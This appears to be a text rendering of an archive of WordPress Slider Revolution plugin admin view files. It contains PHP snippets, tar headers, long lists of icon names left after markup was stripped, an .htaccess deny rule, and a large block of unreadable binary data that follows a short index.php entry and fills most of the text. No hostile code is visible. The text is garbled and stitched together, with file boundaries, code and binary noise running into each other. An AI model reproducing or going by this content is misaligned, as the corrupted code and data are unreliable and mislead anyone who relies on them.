$rs_favorite->get_favorite('slide_transitions'); require_once(RS_PLUGIN_PATH . 'admin/views/modals-copyright.php'); ?>
    view_module
    burst_mode
    add
    crop_square
    apps
    redo
    folder
    library_add
    title
    font_download
    title
    filter_hdr
    system_update_alt
    style
    flip_to_back
    radio_button_checked
    crop_landscape
    live_tv
    system_update_alt
    style
    flip_to_back
    audiotrack
    filter_drama
    reorder
    format_shapes
    library_books
    redo
    do_not_disturb_alt
    do_not_disturb_alt
    content_copy
    content_copyctrlJ
    content_pastectrlC
    file_downloadctrlV
    pending_actionsAltShiftC
    content_paste_goAltShiftV
    delete
    lock_openlock_outline
    radio_button_checked
    lock_open
    visibility_offvisibility
    border_allborder_clear
    radio_button_checked
    visibility
    arrow_drop_down
    arrow_drop_up
    burst_mode
    edit
    content_copy
    delete
    desktop_windows
    unfold_more1920pxunfold_more1920px
    help_outline
    • text_snippet
    • text_snippet
    • live_help
    • forum
    search
    100%
    near_me
    near_me
    near_meaddctrl
    flip_to_backshift
    replay
    undoUndoctrlZ
    redoRedoctrlY
    exit_to_app
      desktop_windows
      desktop_windows
      laptop
      tablet_mac
      phone_android
      -->
      settings
      gamepad
      burst_mode
      layers
      Editor View
      Layer options
      flash_on
      save
      search
      close

      admin/views/builder-slide-forms.php000060400000334231151724235750013367 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); ?>
      image
      photo_album
      movie
      blur_on
      timer
      access_time
      code
      album
      leak_add
      info
      repeat_one
      system_update_alt
      wpml_exists()) { ?>
      language
      link
      link
      style
      camera_enhance
      refresh
      style
      style
      camera_enhance
      delete
      style
      style
      camera_enhance
      delete
      style
      camera_enhance
      linked_camera
      style
      camera_enhance
      delete
      language
      language
      language
      chrome_reader_mode
      Cover
      Contain
      Percentage
      Auto
      aspect_ratio
      pause loop query_builder skip_next fast_rewind
      volume_mute
      chrome_reader_mode
      admin/views/overview.php000060400000047363151724235750011374 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); $system_config = $rsaf->get_system_requirements(); $current_user = wp_get_current_user(); $revslider_valid = get_option('revslider-valid', 'false'); $show_trustpilot = $rsaf->_truefalse(get_option('revslider-trustpilot', 'true')); $latest_version = get_option('revslider-latest-version', RS_REVISION); $stable_version = get_option('revslider-stable-version', '4.2'); $latest_version = ($revslider_valid !== 'true' && version_compare($latest_version, $stable_version, '<')) ? $stable_version : $latest_version; $code = get_option('revslider-code', ''); $time = date('H'); $timezone = date('e');/* Set the $timezone variable to become the current timezone */ $hi = __('Good Evening ', 'revslider'); $selling = $rsaf->get_addition('selling'); if($time < '12'){ $hi = __('Good Morning ', 'revslider'); }elseif($time >= '12' && $time < '17'){ $hi = __('Good Afternoon ', 'revslider'); } $rs_languages = $rsaf->get_available_languages(); ?>
      view_module
      update
      vpn_key
      library_books
      settings
      chrome_reader_mode
      contact_support
      notifications_active
      0

        display_name; echo '!'; ?>

        person_outline
        movie_filter
        style
        + 13
        file_upload
        extension
        2
        replay replay
        add

        flag
        cloud_download
        refresh

        donewarning
        donewarning
        donewarning
        donewarning
        donewarning
        donewarning
        donewarning
        donewarningrefreshquestion_mark

        close

        done
        vpn_key

        do_not_disturb
        do_not_disturb
        do_not_disturb
        do_not_disturb
        admin/views/builder-timeline.php000060400000021664151724235750012754 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); ?>
        close
        folder_open
        close
        border_vertical
        U
        I
        O
        close
        update
        close
        shutter_speed
        play_arrow
        00:00:00
        00:00:00
        EDITOR
        00:00:00
        00:00:00
        00:00:00
        00:00:00
        00:00:00
        00:00:00
        panorama
        perm_media
        panorama
        admin/views/features/.htaccess000044400000000177151724235750012423 0ustar00 Order allow,deny Deny from all admin/views/features/premade_template.php000060400000015625151724235750014650 0ustar00 Slide Visually Stunning Templates
        To WoW Your Clients
        Show Me Aesthetic Templates! Use any of our 200+ templates to build
        "one of a kind" websites
        admin/views/features/layer_animations.php000060400000012267151724235750014675 0ustar00 admin/views/features/index.php000060400000000033151724235750012432 0ustar00MԮlf0C&*Ȍz @CPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPЯv;ż-츊e,կb2oYaPw)t<>b.zwv[mZ_{iibg8xyAܻYH_N;ڭźjZj7Vܲ] 0z8P >дgXWaic==p${V3u,I<[oms@\~gl=Ch wMKOcwn2UFG_ g5H%퓓$vWvy㲝NP.U5=J3wg51R7<'8e޲u( }Ü8t#['e7y=[ =Kt$q$7i$ѣH&xmlv0xMFv$Odj,mH'ޕcҀ֣u#A RǗ鰶A3bmHS,n @0$|EPPPPPPPPPPPPPPPPPPPPPPG58,[,͎̎^ |GIEč.ZxC m,9zP<9=Qm*st`w]d«gcy S!3 +WaǻRr;U ?zzP (((((((((((((((((((((( P\m$c*; ;*<s.ڹ 8 5 ?0A70z~trXNAP h ̲Iaf$觟11u[6k.fy9ˑq'8rffP6,H /,9n˱:gTh(((~GP@3@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@Ub$H)8+$RUf?`?g_?/eߞ.7w=f^y3ʠ<+hV<]_jɤEÅ-ed'QU o[}*+$67nc3x_q$;ӓP6IrV̤Ϩ)pL($,mq-ISnt[u1gӴ;ϊiWb=QB((~GP@3@Xx54.4"Kx-pUr>=K(|$H,z]?IU,iy~q/TgTM?8XR;sH_`9~q74ڣojiGSK=iMU,.4% jiGUK~ĿP6-n$øτ R{xmw"J(y)9eXiy~8bV0K G%Jl+pw}]]Q~=7K/?b>\sm5:Dr3$ s(~h-.ˌJldnBֿF>'ty`eK |4qh9WA?k&%¦CzhY7߈CPA0Cb[/]VimT*iD6)?fM嵍־`Pi#k6yU^0,҉Es\4׎;{whw9,VgREҏKgQo=i|~>OBjiU+EӏI]'T6iusql w/$20 ݎ{Wߴ*숙 +;*H?/:Ie?qtӿП{;qZoWQ'ޣ+ѷ)"]i`Yi`DD[E%3v]iySDc,-&Yuɑdδ_@U~K',};GQ{~q/TXyRѧ$87z_UWX%Q#&G?nGLδݥGGIrnte= t{ EΝ ?=^{=Nuq[<UrP(VJUjFS|9c:!a5SY4t%0MRΈ"B(j}0U_̥}WЏ͟ u#<:?}ȟRz*̠3QeRjHDK8 (~Ɖ.} m2]\,N>|tyh[u E 43^,-N^j-aڴFؐ2HS*!UWPl1u (-Lq%ҲI޸@ @yЄUzԵkIf̕O7W@UWZuWd6*Euͩiz"!٧p vne9&px4~!Ni[Ob.?c`spSK+3㛻[&д 2~Ҧ]oŤ:㟕 V5ѬIw\Lۋ](Xn>+6hCWi%IXJŖvPԆuZ,\Hyk2[!+YKUYe1\ gvmg'R͖]s< .V..GEy)=k5\m{>gO.|p֒?8?%N+'J5hpME4pT y;oaː]G8y f#IS\ vbWo\sGvC\ fz#|UlcTIVFщH9}Pbik꽝~llS?)Ç O߿WX"Z<t͍Im΀A|(a= :jͥlsW~d:S\ovCYah—1?J&g^"8jQn۩I*a?!Qb̎ԻQՐX_&hDQ@5Vz)u-^Gwb=!IR"5攟XU-/TÁtБnA%U.U*T Nc"_!מVdQ)P ~(l=0K&V3Kc!yI:F2>h ^[-_RK v.%v| T>]o5Ԑjoȋ rE-,Sd).\~DQ{ոBM}aXĚ}<7n=NhGnkZut{IA$%ݸFcQ"pvޘGIu8>ٰ09zW^X%ԯOc{'ǔ7 +uz5/Wc,&HJARNY[kӆ<F&U$q,[~z}Me݃㋟7yr+;&}>fExiqn'#JkF-r,m 9t-nHÎ>kH^7aA"wDvɪvB#G։Ԥm3#3ԏ/斾Oνs?D- O߿W~YTr:B(Ub(~ī3NDHUn˲l|kLP$rI>~J3k@@@C?*?_Gco<* Fr1 u!;vEa67l/#q걹.ѧαjs{X X$ !|y}qlwI\+7iZ[Z8{Fy bETfJnJ9v_9}riBڟى4VG Q{?EЖ%7.t÷%YנyO'@rX#[lH CI=riu)1ig֜7n]ōӍM ǫZ%ƦjF#(w,NUOE幼jD z徧omegZ>xl\w2FDq=bOH$Op0].BOn!r$p%g`pM<t*}WKVKpM;atRW&) Y90ĩ'xU۟**$Ϋ/zK]Z*[Zw+sRtwfT0,ei.5KGZ?Np97E^BTb;G/YxWS7:ZNrH9GYOԲ :d=-O܁[/ #b[ {Δ)\_'yOo&Vޅ ,*GZArV,Erv5]@ܰ}ynhyhZF}ָyiTԔj~xK"Cl`!Q mdL..JɌUՑ]k{!L%Jѩ6&A'q3 ʟpE֝z̑c[YG<7$w#$I>zWq^2c9T3L]n.nxMJCpSm }p9Vr_kdu)I?I#1ʍ*>&N5K1s,m1,R?j|lʿg'o/o]O0)n$oҫuU*Gbm`zsG)m77!c+ˊ3RQ1:Hsctn~㘠 xUx1.y{kf[`>OP>i:cOi̤^6*! 1 |܁]z)AsirS%;QΧ{$ p) 6g͂(Q h2_X]5)$e;AN9F}g*mjs5-.f\Ţ .ؚMݮ7Ldu|3˒9r8ʿ5X˫DAE*Qר[< wx$+'B9;YG?qI~64Cg]@;LdV:iHJ8SFX16\_Cg kgpFUCqμW~ {s&RXGBryJ]]~cLBO-k7^`h˟0pO_3TfoNʴ3,>X©xu'u֬';en|c :Owiw]e ΐ$ɚdPHJCsםl̏JpiXX!402{{Ǫιcoyy#=𶿯}|92{2m#;dρ<6NvU}?&Km1 W9 j:i&4E޲=4nf1W* 4.@UcbE's,"w@,b3GM4&?]'CT0GPHPPUb( 5ڰXLvm0[y h̠. .yxfأm9S:PPP=thX5~YDu #ԱsBEЃPgNjS9q˦Lu +x}O;y<׍6DTr7^q0Ibdǘ F)o[Yxl"tyN-sWXzYkAjzr[]K-BDxu`i9N..=%exf^+-J(dUN&r?!@sn??<:4Xi0IRIݬ Xd:.}!?eCb\%HS͗|m4>Ӹ׍j7=֞iVn:y?eU48E߹H/VIuڍjXxtV2?'~Yۤ|/UɢN7KhznP\bɧؔ8٭ ?cq1H{ɱ֖hƥ}Iw&Z-ªK'UclX(Y%@0Q*>]b7hBўeV+fhe'sbF/5f}M`XE\<(ʊrezT6LY YqT"ҬƒK8x~DtBҵ蠞{v'4c;ھWRd'Ϻ\H4R FD?EILGI_Y\vY?zr FmvI}g@kx%xE޲!fVtxUNcͷ2rylrG?/tUYb<ن*,0n Fl8ǟ,$W2n2s0WiK#:ľ ! ;n.xn`onOx{:>J&YwIG-kT'?lήd=MXF$7g DR8.սP>?Eh|ao$-nd !G¡4I [W6j eO +GK TnZԯ|]Cn U # sjWھqRzr+*G\$ȰqF=13G@0Aܫ.\KUmEn2]3JIZ[ e ł1*q\tj=-EIw橨Zq! (.a +vǂ^^\u<|⦿k-{rf7mň|nn9i,_N~2Ӵ,,5il\Ao]1,y>fnъ$Q@P.pzݔa؏'5,zi1(燓ޮ} Y-G^r&mj,. ԗvVyzT^s 8t87/=q ͎|$m]A6ѓ:cRQ`pdYIMA$WZy'y }W8ZN FPN,(Moqn*$0 hly>yY!eP9Q!ub`<ںf~<9Wd#K˗\n?F,V)O0+;a.\2rzUh{fD;鑊z]Vfia*6)EUwrj:7swdsFTm7ĎNQ/x(wKٹ\¼_KT%5n xYU$^aeNf |(]OIr02[#9wFQuݸm=$1WR9畿1vru>Utb&NO@O榊6jO4Q8 (_DrE~ @ɑk6a 5}ZZbJ qMزB

        ͭbkMwG]ѰJYӝz=ys9foCSk\w4h܀9yu/&,MMxiVGi:=ek6p62Ǔm@wG(ɍFM.R,qPXdѩLPOJ3;f鏸''PI7X?m"|X=ŵrAU" 7?T}c֭ГH;4v`0x>Pɢ , ϙ&J$υ`s*ilaF<ǯ(DdVo$6) 7uFN簋 JvR&1` rhpEIyXantȊX8w.|Jqʥ6Y46][.-/І#\yTo/0pǞ^dBlsg$.3 =1K"čAʖ(ќ`~`~hAQY̊QVX((;_R==MeMt!~gtsQS-7Bh ?mN6s?7jcDd#j`f}N7 1ә,oמ:Л3YoPdAeMhQ%=[ơf(<ʂB]DzU:@q Qo+FevO>A> OS'd%ʼnaN{hGxxLKeaܲnw,qA'݌/,*%t:!w.vŭgq%B;0HV8mHlzY5]KǑŴ*K6<$8_-åS|N}y-6Moi=f)\#)pϕhJ&HQWf2605e'%ɛ] ; mDI92g M#G2^O3Y2K&Sl&tIiUEYG+$((Ub(sw-W%e0͜wk\Mik=t@BolNwPyP $I-Kۉ-=#FT% v9y PP!JfEǖ\WٛUXȯ9c y~\2 }{jm$]~\0p楁ZkI"MCY1fܨYJqڝIYRdmxgQҧn$Ԯ{xV,w8'ӝc-'{b[n&-3-FN^%a-,~H-ҶÇdN}FgnEo{coR -%$0ĂUϙyN6m]4q.-߅uRQ-g ̨s!X}9WH4KݤIi}ipI7&L?ҮRI4[džsޥ[m*5?K?9m*P5?J#51Ҁ})`9[ҁPC=.Bl繖 @Pw09RŔ1aQDٟ-sD~i.7b?C҄mVvl0ܰ*ItX7oV9.u@܍DQ Ϧ=jEwvfT(ӞBw"]dva!1^UGN^ ȮUN{2R: @PnF_fՈ)ԅ_{.yZov{[z|(Cץdc)i# #: i/nCGY<rl.sSbټ%Ec{}>W)ӺbxX1WemHdm!>H*B@Y%OW$tSk(.;p~3DD 6~S4>or >@Sa>$M]G 2߻w,?R+|;yYѵ<O 6dz%BKPfr?DP 73EN,Ov.o庛 x8 `y/)n9ke֙gc.ZhرiLw*Q j@Ub( t0"En&6P \VI [ #wKgi|:Z] !TO.Tj @C* \!~ xtXHmZl\&8Lԃsy_sbEPg BUِT>`v\tiiФ 1Ҭ6Liǐ>`VPPPP/iW3̬k*7,$r9!g JnF3 >Hhi vir)q@:IڳHggnyN*A͏gκUāc",Ȥ$- 0 o|-Աd2~1p$tcqD ¤?'ƛo's;۸=@p;vUVshm?I"hy$Yh%Փ'ߌ{y[:j[G2[( tbsx' ҀsL$Ի7e|k+86[vi[GV@lWnz@@;Ҡ8\ذQO6ՠы@uc~`!>4+u?3P :Xԣ&!kNI" yqQʤGL 4o2=23*$IQր-7$Q{^K?,?Dϭ*K,$!*۔ q΄PPPP I#V)'ʀm4y") S)<=4 ߶~U :!==~vw[{R Eݗgܴ-;f+*Qv8ݳUlG䦀l:cԛu%bpĮ//O8 @9h PPPPrO}N惓I5&4]<0Ȑ:^_ {TnֺLէ?Y]c35ٹtG#dpާ/27j1{c˯\v\ӯCMDžoQ>%AQ,i`$ t^E@^E@^E@a(ʠV{]7xst6& rtxVt8O_t>F~#{OD۸=~GByzV:i V~R5೴=34ԟ z`s!R/Z/Z/Z/S̟-eMIz6xec4vZ~u#>|ֻ~#>M%hu#叿I_Q(=2M'k`.cG =>ԟ z`{Tci`=<Ϙ>^E@^E@^E@^yX4,G"6cmqYc~]qqIu$?dڑn3=+7pSaZ=1嚏ZR;SH9%G1vzIR>ԟY .64Mϡ5/Z/Z/Z՘m9@@Ub(E @CG̎@g4O>lwzOCbǶZ~Z~Z~Z~6QԆ.IPP ͸220Ȥz$Rq_k?@lRTf=XFK=I0&R} zj&#;sg:)dу$c)z8?hfnɺfAa hzA ɒ0pXg#ΈY>j@Z~OOOO_ݣt}au%_ݣt햟%t햟%t햟%t햟%t햟%t H13=q $k0_;m7uFhr1@ 4xGY@i_@i_@d][!0EŹ8>@ys<t9!^tC):4iFΪބh }Ti?(muO oݓBZ[~V߻'j?(ڭvOR {]~i=h?]{]~x@LnDPPUb( E=>JhPsxTO  ާ{YwK@1IT(Hjw@y<΀o@@@`?#(qҠ;GGOb+hM$:,c8UHGsC2&YtB~5VlڱXM;`msd;C`GIbÜ$G=~vFٿ_9/wZLx[c?Ѡ9?izva#ZhBm\:55ю+c-v[ʢ},DlE<9Һ|Hrd'p,Znaq]+[ۻ!f+9ۓQSmҮ#It 1m ";KU͎R\hz4F'Sp׶s4eK$GGgUW-s[ND7C6Y"T, B\$Ugrt;F/&jG%ፉhy9KB#'mmف,PF2#5bd8qC[`h:^G-Z2D:IÐnsk ;;GWtn;+eirCeW_#^6/ggèsL3`ȱ?cmzWZ%WH}M}}RџF:؋*T;p{/V2kLq:z' III9ݕC) [#6-B,$X~io 3opM:E  LuYTU 0t\l=aش/ 9y6QD60wyzXجIq+5x$[6HɈɴԢ-Qҭ!mRqRA&=VtrA&FvZ}64wxV$;\w25FJg>g-;&;U!(7 s ť\v67FW"Fbcʹ2ՊOMth~f*W VLg*+вE%[38k+]v@q2Oqh=ޤן7MzV [ˋ =0Hm|9+twKb lX,YbY"JAĸ/=ZiϴJ$"k0ǝYAprN{B 6K"%嶃3KUJq>_84OGL-PTczP`z]B;bZ=gKgm<rA/*GV%qjC ECHYF+/Y~k*O;}WI3K?X?Uڻ#4Fk*m!tR<:u>)l]%=WLo_hKv74wk*yּ1vdcJ'%</i:~}=6vx?NkEӠkZ?0Cy| /d[s"д zl?4F9}'8A[KhmQ%-$d oRGJPUb(R{{rx"8h/r4r)I@k@@@`?#(qҠ;W2qh:`J671gC`Oq ZwxTH$:䟱TR(%>$؎@q͉'ҹ$uIڤYVg \A12T719쉲Y2=aN"+Z˒#{AcP@1OSm%չt\sLSM&3 xFOL+O;p;: l(͝I{ÅPu/4m%jk1Γy\T?*/UUf?WxVTwIdvk=͟ hv]Ps躦?-,S+Nr:Z756\Ĩ PmxZgf͑mF%%iqw} `aƱ(>')S|J}:SoEӸ;I94)˙IyṚjw؜fs.xo}Rҵ+K"IՒXʂ^g㒧,:we Ẅx5x8UZ 岕p , 6Y=*rR^Iq/.+ٚkc-.Ya78U3w5T\经.+9v>:IF [myqIi-Q׷-35 3c}jOoҼs>H#F|dcM^*̧*w] ϕLLJՊ czu+[Rv+ .k-ѥO4bi|;EittUmw|RJѡ. 3d73k0/)r⓺psA4h듗10ȐsGP~rehyaNȾ8Ӽ ~,*ȋ:dő$ps"Kԧj| )dc*i!Ϋ#ij0גs@*[ok_ay%TZ,#p{=Xx}bNi*# | 4=FχDG:8q)9:fXEHŹ4Op9-^n) VU[ܬ{ ӛkg_bP y;+y$[,I0.qʦ1QbFךVԧYKBRiAMxRE[NXPIHfE8Tetq"3Lr:_kkHH BUvLVQd3Lԣu$<ɜ/U]!OkRLzv{|q5SHHV)Ad+<ߩySB(Dztw-4LH,QzqNR³S ZN'G77nu ߉7Jd*ҽ]NKs6n-xMY{y!#$_h_S!Œ085d | ^hZgNKq1#8sc895ݫG8s<҇exGh]̑pa c?S,8=_~KR+ttg]5/=1 ,s~~_ 3K/NZДTj3\rksp~(-M2BN|9XWs'qf) [g4gi^(ƀrJ^\/en)K7J}W6chfe0@YLKDGUՕ-cwvyWk8xDrb;Ny:[Ks]j> ]Oy+)`ZMTҼ$#:_e?/_5ٿn/%k^QG77Z=+%a&1ٳי5XܥrG*IF?8l|)m^<Ҥ$m^)R[)SXG"'*}:qu{+:ʱ#1̶嚉[˼=h߆t"{=:;-Cne#+*6r}JrFY)zv;_lZ lHUNTR%H mTs7fÎ<$ܟ?wM,@MFmBfav"M{\ BQE-mo/渖&7\չc+ϑɺuMk.>j]0گ-ɞ5GQo6vq7IrN[~F4&t\-ޮX3&nXvn`k*9~&mc21(.abSk QCJg*\W$?hUKuFW-" WaӇHrMz}1XXޱs)sk#@I+ͰImru9ҏV@i|w,ͮ4KR ͱ@llݴ[=<\n#)8ߍGgT/*ȠL\b7UR࢜\ʫ\:_@yc!PP y4] S]OFvnvcf=%ə|GN'm\="ʳibG2-2~ i7!e7k%L]a k'r7Z. 㟇$RVRY݌sA i.6e%F'+ݟ5ErCn/ƑF5!T` ֵQ1roe"[lޔf=Yfjmޙ ǩ@4W \ՁV4@P ԃv:AΚ|n&O>ϞUܕT@.c /'ۺ/_U9e8IUƓN6qTȎKg\$tK(R1o5 m-TSs w9-j`m{.+s CZ+,緉,d?KuFb+|R5~[K[KnmŽ%l 㠭RUӶ6! pn/fYs僚R|YՆ BKt) (݅<帷unq8B ']ޱ +X[{KBXMđU[HoxcOdJUV-L&Vx^&-7PA_nNZQ- w~nY k{8rFl3iTQqi\N3ZǷ!:8;BǠٿD];&8cXRRe+ vt)sG5PPiOLx^61}ꚋ=<5Wō?7%OtX{2quKkѻGK *8_NɊRʳJ<~ז̟y^Ge dvQOv%tHhaTty0۳/27?-kkE.o.\[̲3 ؛#(pbYQ6UC8sR%qQ']y\ߙJ3 JUmJF`zWft)o+}9Wo揆{'QN5)6kc-m4}GJD)޻X`us 1f8]5i5um{(&vG4?:l<{=ᶜwsLqazjM{=DL̞ugȭ(C&HK}w1ZUM'3e>gi=,~˩Ta|/}}K'c77pK#r|Lœle4Ch|%!3Uߣ8#j',rJ&="F^鉓x2,2:Wk%JJ?wt>Z|呷}ky)zpƧ7mҾe=٫\5UxP+#waO{x[Om-g ]9ι+"QJ/ueu֧khp!؁Zm#DԿYKmtLI,2$1v9%!{V !'$%n8|U,4+ A?up"$Q27#s^vdL3>LjYdM>;5קgԄ5t!&m{7UحMV:Ce|1̥ů7~oغ(d,y,\~_s?)R+h#纸UTU8F?fkƂJQuL|doqu*Qٱ 2n,mElvh,A.#ls]*MK;wNpfPjm?y/up._@Cqgl$D"`4~]mcCu_'^ܠ}{g\uKmGN ::y2ձfHC-^&+ǑTѮ?Ut4 =K[+I/k]+9$9ghvZuē_hIul2-)+@lAe1!W T[o}|DmZHdDVhZ8> cȄgl[ uecc RG?.MCR]ΜOڧ%!a vNC8U^]*ЍK`0\Q_t#ҮYg--mp;\n7\rmFEɫ5B_Y|B3nDHDQXť7_~>CmJ{ף8^+u>c~q=ro#LCZS~Dޙs}qfj]1 Qu 'Q@[["$)Bk5$4v{R3& ;@`3M[5L;rʢH><ƽ]Jc:Qm̓RE$sq,\b¡@jKo85J7Kf5%UUΪEӴ]Rxyycm27t}*mщ>FiT7%w)dSh)hxsbwUw }..@qi5::T((Ub( ָl岎NK;gKyNe-#:FH$ P"8NJ8SHX[;%ni$u $b@@@[{*ոSI6[$&!m3džlsS4nEZ7 sib)a\E-H;#oe~sI:/y{Lf]g]e,$LuB5^L\Z3DprH'c#kx/Q&LRMN1Q+|zh\Q4h5$r;);>yl[MDwBBcÏ!#+ty׶bxSvOB"ŀEQ^Tzq—j. p=ąT?Pυ|dӣI*R:$1cn2TB.lVgltv@ڶA9yVhɿRUy_w@4YQ,˷˭}K꼉b©s M6jKc_s^[^Ʊ|evuœ7S^OL?-RVZ%l\_΋7S;rHNՖd[.m6qϖ:cέq|TG?Nޝb֥«vcz\ k w+>\}T8sj6::, Dž-vZf"(,yA8H]xJןsɞjUNUb3`OhVZI[ڦ*I>tɯ7Y=,_Քk{-j/emlAO>92~"1U{q8[vbSq 71uś"rڟ&=C&6潲fM:\2 xRJgO]O@mz46I^Hn]9%GKgu:ε%H,N1̓QW$er^۷&Bxia߹6ARv0iaI1*O[>G=KibfWWb6Fs9lIte/G[}zp~,vWhQdTK#jtIe,@ʖ@=:WV84,vQgvy<Ï:g=Mͽ5XXyX6%._%cQ5 !sFyrv\Ӧ/ԕ0TTCHyA*@i:m˝:+3s"=vezU#1Oj.&Z'-+<k1zsxge8;oiZzX&YCTH J$ ʼ meE}N-]V1-P򨄤ڮ.?Ofk Q &{ vǥv.]"ZmoGz=QWnudSX{.yu{jU;Ĕ|=6Aufk\w %ݥF7AO9*9P,VuXخ|zO좥C~߫jv bҋѕwbJI٨v*s He  7娊m.Y=$RiWΎ338 f 2Ac_˖IFg XqzM#S~χ'su1[1ZdKk9R7}N١1$ WV)C:*ï(iwt^$# 2F=nY2Ѣf*sRN뿟JQmDkEPך!x5k7cHJW:s?Ԧ,iϧ'sX>RN{#Ǻ@gu\m/U_W}wHxo%V&exV $2 <^s*3Íd/÷:I6\[0ۼ!/0W sVhw!iU kEeἐTKdWlɟ 1#Hm3’N]|/5zq 8pG>$2FkHyE Ub( R~ qHc˨VC{OG/rTpKhSbS]ZEyp81GU_ǒVN\#6_d6A3U\Aιq9= mHU<>/3ˮ`>ntwr.b0:G'`T8px FM(e"2-vМW#ʶǍ"]ǡɨ47-3J@6$}3G*(I $d9%XPChEgmWOX\U9 VW ^UDt铲񧫿L]`OfŲ1ח,MR928U* (C0#5l-9fQg#u!!ukФqNI1$w bydz oB\3>a7'-!sJHVf'AAH6"oڻS5hYr=\F>Fآ;~ -s7Gmy׋-TWVg[ HW/+̭k4/n~;̷I;_w{oO7[^4}(^ٸgmy9:ՊZ-vcv]۫bǙFtIJr{,-SKn 1c{,q@|~Je.hkC{w5e1v ز%bDoƒ|$N%t~,8WOmYj׷𫰎'hO1|Hdճ[Lv9~ inNJ,*V,~f+5ݸDB̳QhYPzm}ޕӉfG))nHl$]G5=XS*ɬdiEk.u6$F[!cc5>/A_%ʳhnXI@w) kP0䱡n~uZj<]v\o+q G(wO/JMG2F0\hA %ҥٮ7?/V94"^,\67WMs&-Rw$9ePTlgOAYeC~>0Kߴ+t$W=yFԩWO7OjA:q!I\<*9r^Ol1y.#סHF_ ]uVi88.ʽũrsW,zhsqݚͥX$Ez+}Ƒ1S*%\5ԌT|& yiIGt=ũն^}孆#- I^!u]"4*PEqCNB㻛i;U@#e-FVes"]0PPUb(sOP盇 "팟vV^xj`O(;#H.䳷!yʀր((~GP@3@tm+L}V]J;Xeӻ!KwrX暊V^'HNu|W|j\Ke{mkF<] R|#}:ڡWUAonXF6Gk,~ vn9|Mk6HzƾOX!/ViNY]tHw {8e> [*엩+E w=_bY;U T`cn1{|ίh)%p/wNk#{#蜖=iݏ?`^clĔܬ=ڊyg,ꦋHK9TZFO[L4~ GsnOvOw7#ī|?Q$kШ)ҭNmvܲ? Wuu_='/f9=*\/v7vs|'k[-ݜ#ք1ü{Y1ޡ\b}I])]wq{,0In6~+tedXg1VӋZ(a 1ʮ`s%HTǪn^NG!Iu-Rr,i+X] ځgAeKO,5n%ok\4qBX3<28יk'[0˝IRGHh5 Ku`A + Clk$~&vA<4~׿<wsIT,vN ,nZ`I; yr9K4dCE!T$8ZnofF)`QwT'ymOJU\Fr8nǚέV3% ;[lC$6=p$!?#_MIZ$HD\.$:NCrIoJ,;:o<E!u1t%`}c}¢^"=̅络rqW|#rKv7Ö>~4i+$SQn*3W?ϩؿ!*G}Juj&rs2qVW'Bg-@"FT]s *;bOkj\05PvOK/U |=MppN !gyo募p+5%ǵ*IkZΩvnvwW%&p/PzfMqL0;:@~If#(Ԡ`YR$KuYȺve6j_Hh,@H񻂸Al I51&toS'g`ڿa4"tm[swksCݘbs #b͞9S#5GX Dn bTCŲ1P՚6} t? -oD@v*1ʩ+Ėߩ[9GWJU4>(.uhea&Y;ə#q-YZxܣ9=<{6G֩~*>0X5}_Qӯ:];mPR:WE|%t3t=3P@}4}{.d=Wf~9m8|SX8g줜%ܱg~΃ͩ#ϗ1$1ӕxz,5zqˑb[#;Eu 3O:Fq[[yȝ9M&y_{RNc(˔oLe^f7)uFf#)ˤ_5]8l^m"oun{g+eØy(jOt]q89`KE9O )^ ȎEY,l#P_r*HԚ}[%̎Q'Qϥsd/$ΜR,hW=k*}I]FR楠ٮmckSx&|i,DXmo3|޸f NһpIZ_4'2`׹mk.ӟGѸg@+صXaN^.ud`t_5-<[y^XCpk6uf;GR^^\8{xXږ+wv#G$i2|#pṨ2y'\s#y&IEٍ/]'g$WY~dEv6gpdE%9[f)|?t3# nHi:p@93ϩ5"‘Ǧ~\=Tn˦d|:8a,%="Hh2I ^w/3=;>eJ+8Cw*Q^Lsizlin$𥑳$nVqѧ50bKKۑ+l"k>XgesZ2=K^7YC,mTTfayUʝ'ID{{W~< n@~AEviFYlK˕CcERȵ(Q\N1uylPܥ-FxxO/?:ӥM^m{v(@x)?hʹGtkw)FQq|#w5ݾHz ɂc":uu8z AS!t5;!tUh5"S@]4eCTbTI o;yu b&R)Rqjt,hvn;W>O"O*"uQ8~;7ifEDc##*[/Y՗ԌCtXyxG.u KM˷#1Tuxko\Ǿc֡x _k?*:ڭn2_jOƝ)D1%;oEu6sH:ƯWj/uv/x<(ʺH:_d]{=qYq6͆=$Ƀg)JF#aѢ%E`\?s+RFчy.9xB^I?#>5cH7&4-B Lm%G< =~6]ԶnNCz]VvVAm j@U0@qt8l櫢j>d1#ǸzmJfK0pVp1"Il`A@F;R Omsmq`N22|QE͔kIG.V0݌bw%\{>eܙl]:䜗8txυ]vYƇpn[3K`\IqfgwC$9(tq'GzL>:Bq$uŨpy7+NW2nҚyK=>N]VltjZ5fNq'Vn0TwNS ͬfOdFDS]ۺ< ItNjeIFɂ;g=OZX\xI~ҥMFyK)X/{*K :}6LxTv`ƤK'O,PQo&mϷmRƸsx]][FFTa6ڕӤF Wi.668òHZ~)Gl82j0إ^5[x%iFR,\/e4{ݱ<ŖPeHa[-f>ϱf6ib쮬v$(1`H\r^/rMIU;4Ɋ,7\c>V4rjs{d@ȉR!Čf=5?PY7kɾlHw\{S=Zy;- .  }58%HxPhzPgyb q|>Hz@ ?Ub H&h$.yQ@8vX VPR9tٽ[+eRurtn*![UWJBe%z>3Q@k>s.c-!CitNyK=B!3rj&lpiʣ$dٖ04).H!c*pO0] ܃ .tWru *<}*(([[GA3ipRFMlF 'Gt&w'v~s ~ȃ*CXN|Ƞ#Tb/lP!h3kWY+FA F()RrX=:.˭M#F-Ӧ|e݌œ sf)m=;iHU ;qkP q[Koa<{߻+D9Y=O_,đ1 d mh'*B6#[)\E)M!J r0idͿb\L\&f(6N1lsJYak]KkȭXjAW'PMxx_""!cDTFŹ2B,n!J@ CH_gS>B} /m3"ʨn*z3eazm FpNz*7)"9;/< WKaw=dY7x\,V浖YIXd-%gw~ABG?^p.wi-$w09*@^\(<`YN}A=dr=7?MM1nm'h :#( _@@ zmʀ#12DNLjJ>G*gsw~G~x߮ []J"q3q*[YSQ;Iwqy4[u?3P GUKb!ww F-ݏ>U'&F_$aRx4Rl8%?YBS"16 h+MّāW {|a#"v?+-f$ 